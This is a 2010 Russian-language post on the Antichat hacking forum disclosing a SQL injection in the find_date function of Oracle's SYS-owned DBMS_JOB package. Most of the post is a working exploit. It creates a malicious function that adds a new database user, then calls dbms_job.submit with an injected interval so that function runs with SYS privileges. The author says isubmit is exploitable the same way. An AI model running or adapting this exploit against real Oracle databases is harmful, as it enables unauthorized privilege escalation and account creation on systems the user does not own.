ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

TARGET: ORACLE: DBMS_JOB PACKAGE, find_date FUNCTION sql-injection
  #1  
Старый 09.04.2010, 07:49
Аватар для [ DSU ]
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию TARGET: ORACLE: DBMS_JOB PACKAGE, find_date FUNCTION sql-injection

Делать было нечего дело было вечером
Не люблю много писать так что по порядку, искал функцию уязвимую к sql-injection под свои нужды, наткнулся на таковую в пакете dbms_job который принадлежит sys пользователю, функция find_date

Код:
...
   30    CUR := DBMS_SQL.OPEN_CURSOR;
   31       BEGIN
   32 	
   33         DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
   34 				    ' from dual', DBMS_SQL.NATIVE );
...
Уязвим параметр INTERVAL, но тут проблема функция не обьявлена в пакете то есть иё можно использовать только внутри пакета, под мои нужды это не подходит мб кому-то и подойдет . Но чтоб довести дело до победного конца нашел процедуру в пакете которая эту функцию использует, она там не одна но так как мне эта функция не подошла я взял первую попавшуюся
Код:
...
  134     MYDATE := FIND_DATE(INTERVAL);
  135     IF NOT NO_PARSE THEN
  136       PARSE_JOB(WHAT);
  137     END IF;
  138 
...
1. Создаем функцию, можно использовать и курсор но я предпочитаю старую школу
Код:
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
2. Ну и собственно сам сплоит
Код:
DECLARE
 jobNo BINARY_INTEGER;
BEGIN
jobNo:=4242;
dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --');
END;
DB Version: Oracle XE, Oracle 10gR2(возможно и более ранние)
OS: Win XP SP3, Solaris(тестировалось только на этом).

P.S Шедулер у меня выключен при попытки создать задачу на вин процедура выводила ошибку но функция выполнилась
Да процедура isubmit так-же уязвима тем же способом.
DSU from Ukrainian Security Community

Последний раз редактировалось [ DSU ]; 10.04.2010 в 09:36..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ